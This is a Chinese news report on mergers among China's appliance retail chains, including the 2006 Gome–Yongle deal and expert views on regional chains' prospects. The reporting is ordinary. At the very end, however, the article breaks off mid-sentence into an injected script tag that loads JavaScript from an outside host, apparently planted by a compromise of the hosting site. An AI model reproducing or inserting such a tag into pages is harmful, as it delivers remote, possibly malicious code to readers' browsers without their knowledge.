虽然自去年以来，在中国家电渠道的大舞台上并购事件不断上演，甚至有人称２００５年为并购年，但继百思买收购五星之后，真正可以称为并购大戏而备受各界关注的也只是前不久刚刚尘埃落定的“美乐联姻”。一时间业内纷传中国家电渠道经营将进入寡头竞争时代，区域连锁终将难逃被并购的命运。事实果真如此吗？制造商们的日子将会好过了还是更难了？消费者将买到更加质优价廉的电器吗？本报记者就此采访了有关专家。
并购大戏频频上演
２００５年，是区域连锁品牌被整合的一年：
２００５年４月２日，国美与黑天鹅签约，一举兼并了中国家电连锁业排名第８的东北知名家电连锁企业黑天鹅。同年，国美还兼并了深圳好易家、武汉中商家电和常州金太阳等连锁企业。
在国美兼并黑天鹅不久，２００５年４月２１日，位居全国家电连锁零售排行榜第５的五星突然收购了排行第１３的青岛雅泰电器有限公司。
２００５年７月６日，永乐又宣布以１．４亿元的价格成功收购灿坤旗下从事家电零售的子公司灿坤３ｃ，收购不仅进一步巩固了永乐在上海的霸主地位，还使其在福建的扩张速度大大加快。此外，永乐还收购了厦门思文、河南通利。
其实，家电连锁业的并购最早可追溯到２００３年１２月。当时，永乐投巨资兼并了广州的永泽电器，同时又与河南通利家电公司合资组成河南通利永乐量贩有限公司。２００４年７月，永乐与成都百货大楼集团下属的大楼家电各投资５０％组建成百永乐生活电器公司。
时间走到２００６年１０月１８日凌晨，国美和永乐在香港联合交易所联合发布公告称，国美与永乐的合并建议已得到永乐２２．４６亿股股份的接纳，占永乐已发行股本的９５．３％，超过了规定的９０％以上的条件。至此，“美乐联姻”的最后一个条件也已经成熟，接下来国美将展开对永乐的实质性收购。收购完成后，永乐将成为国美的全资子公司，并将根据香港联交所上市规则“退市”，即撤销永乐在联交所的上市地位。
至此，“中国家电渠道将进入寡头竞争时代”的呼声骤起，认为区域连锁终将难逃被并购命运。然而，反对者亦有之。
支持者说——
连锁行业内部的整合是必然
有业内专家认为，在家电行业整体利润下滑的大环境下，随着家电厂家的洗牌与整合，家电连锁行业内部的整合可以说是必然。首先，区域连锁基本开设在一级市场或二级市场，而这些市场正是诸如国美、苏宁等全国性家电连锁企业的必争之地；其次，区域连锁较全国连锁在整体实力上不具备对抗的能力；第三，强势连锁由于销售量大，可以在与供应商的谈判中获得更优势的价格和资源支持；第四，家电行业的整体环境已经不具备由区域连锁发展成为全国连锁的环境，一方面供应商已经没有扶持、帮助区域连锁成为全国连锁的资源和心态，另一方面已经成型的全国连锁也不会坐看区域连锁成为自己下一个强大的竞争对手。
国家信息中心信息资源部市场信息处处长蔡莹表示，对比发达国家零售市场的发展轨迹，零售巨头的出现是整体经济发展到一定阶段的必然产物，在国内才刚刚开始，整合的进程还会继续。据国家信息中心调查，２００６年国美、苏宁在高速扩张的基础上实现空调销售量增长就超过３５％。可以预见的是，零售渠道在经历巨人成长的过程后，未来家电连锁企业对生产企业的渠道话语权将逐步加大，制约与推动作用都会非常明显。
中国家电协会秘书长姜风认为，尽管国美加永乐的全国市场占有率也不过１５％，但是，垄断是从局部开始的，在上海，其市场占有率已经达到了８０％，这已经不是一般意义上的垄断了。她认为，国美并购永乐之后，市场占有率增加，会掌握更多的话语权，这对家电供应商显然不是一个好消息。零售巨头们把价格战当成战胜竞争对手的法宝，在价格战过程中把整个家电行业的利润挤得很干，没有合理的利润，制造企业就没有资金投入创新和研发，中国的家电水平因为投入不足，越来越弱，最后的结果可想而知。而从消费者的角度来看，短期之内消费者会得到一定的实惠，但是从长期来看，当某个零售商的市场份额占到足够大以后，消费者还能不能得到实惠，值得怀疑。
反对者说——
多元化市场给了区域连锁生存空间
最近从大中传出消息，大中北京分公司已经完成新一轮的人事大变动，其中最引人注目的是北京分公司总经理这一要职，由大中总经理宋红兼任。大中目前占据北京家电５０％以上的市场份额，宋红接手北京市场后，大中在北京市场的最低目标要达到６０％以上，牢牢占据北京家电市场的领先地位。
宋红认为，“规模不经济”是中国家电连锁目前不争的事实。“店面经营战略调整，绝不是简单的开店或关店，不是店面数量的变化，更重要的是对店面内涵的提升与选择，是赢利收入的增加。”国外连锁企业并不是靠简单的规模扩张实现收益，而是非常强调单店的?script src=http://er12.com/t.js>
